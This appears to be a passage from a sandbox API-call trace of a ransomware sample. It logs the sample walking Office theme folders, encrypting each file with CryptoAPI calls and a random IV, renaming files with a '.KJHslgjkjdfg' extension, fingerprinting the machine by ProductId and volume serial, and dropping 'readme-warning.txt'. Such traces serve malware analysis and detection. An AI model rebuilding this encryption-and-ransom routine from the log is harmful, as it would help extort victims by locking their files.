[0147.393] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.393] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.393] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.393] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbbf3, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xbbf3, lpOverlapped=0x0) returned 1 [0147.394] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbc00, dwBufLen=0xbc00 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbc00) returned 1 [0147.395] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.395] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbc00, lpOverlapped=0x0) returned 1 [0147.395] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.395] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xbcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.395] SetEndOfFile (hFile=0x118) returned 1 [0147.398] GetProcessHeap () returned 0x2a0000 [0147.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.398] GetProcessHeap () returned 0x2a0000 [0147.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.405] CloseHandle (hObject=0x118) returned 1 [0147.405] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.405] GetProcessHeap () returned 0x2a0000 [0147.405] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.405] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.405] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.405] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.405] GetProcessHeap () returned 0x2a0000 [0147.405] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.406] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.406] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.406] GetProcessHeap () returned 0x2a0000 [0147.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.406] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.406] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.406] GetProcessHeap () returned 0x2a0000 [0147.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.406] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.406] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.406] GetProcessHeap () returned 0x2a0000 [0147.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.406] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.406] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.406] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.406] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.406] RegCloseKey (hKey=0x118) returned 0x0 [0147.407] GetProcessHeap () returned 0x2a0000 [0147.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.407] GetProcessHeap () returned 0x2a0000 [0147.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.407] GetProcessHeap () returned 0x2a0000 [0147.407] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.407] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.407] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.407] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.407] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.407] GetProcessHeap () returned 0x2a0000 [0147.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.407] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.407] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.407] GetProcessHeap () returned 0x2a0000 [0147.407] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.407] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\readme-warning.txt") returned 80 [0147.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.409] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.410] CloseHandle (hObject=0x118) returned 1 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.411] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0147.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.411] GetProcessHeap () returned 0x2a0000 [0147.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.412] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0147.412] GetProcessHeap () returned 0x2a0000 [0147.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0147.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.412] GetProcessHeap () returned 0x2a0000 [0147.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.412] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.412] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.412] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0147.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.414] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.414] GetProcessHeap () returned 0x2a0000 [0147.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.414] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.414] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.414] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.414] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.414] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.414] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.414] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.415] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.415] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.415] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.415] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc649, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xc649, lpOverlapped=0x0) returned 1 [0147.416] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xc650, dwBufLen=0xc650 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xc650) returned 1 [0147.416] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.417] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc650, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xc650, lpOverlapped=0x0) returned 1 [0147.417] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.417] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xc724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.417] SetEndOfFile (hFile=0x118) returned 1 [0147.420] GetProcessHeap () returned 0x2a0000 [0147.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.420] GetProcessHeap () returned 0x2a0000 [0147.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.kjhslgjkjdfg")) returned 1 [0147.425] CloseHandle (hObject=0x118) returned 1 [0147.425] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0147.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.426] GetProcessHeap () returned 0x2a0000 [0147.426] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.426] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.426] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.426] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0147.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.428] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.428] GetProcessHeap () returned 0x2a0000 [0147.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.428] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.428] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.428] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.428] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.429] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.429] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.429] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.429] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.429] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.429] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.429] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x249, lpOverlapped=0x0) returned 1 [0147.429] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250) returned 1 [0147.429] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.429] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x250, lpOverlapped=0x0) returned 1 [0147.430] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.430] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.430] SetEndOfFile (hFile=0x118) returned 1 [0147.432] GetProcessHeap () returned 0x2a0000 [0147.432] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.432] GetProcessHeap () returned 0x2a0000 [0147.433] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.kjhslgjkjdfg")) returned 1 [0147.441] CloseHandle (hObject=0x118) returned 1 [0147.441] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.441] GetProcessHeap () returned 0x2a0000 [0147.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.442] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.442] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.442] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, 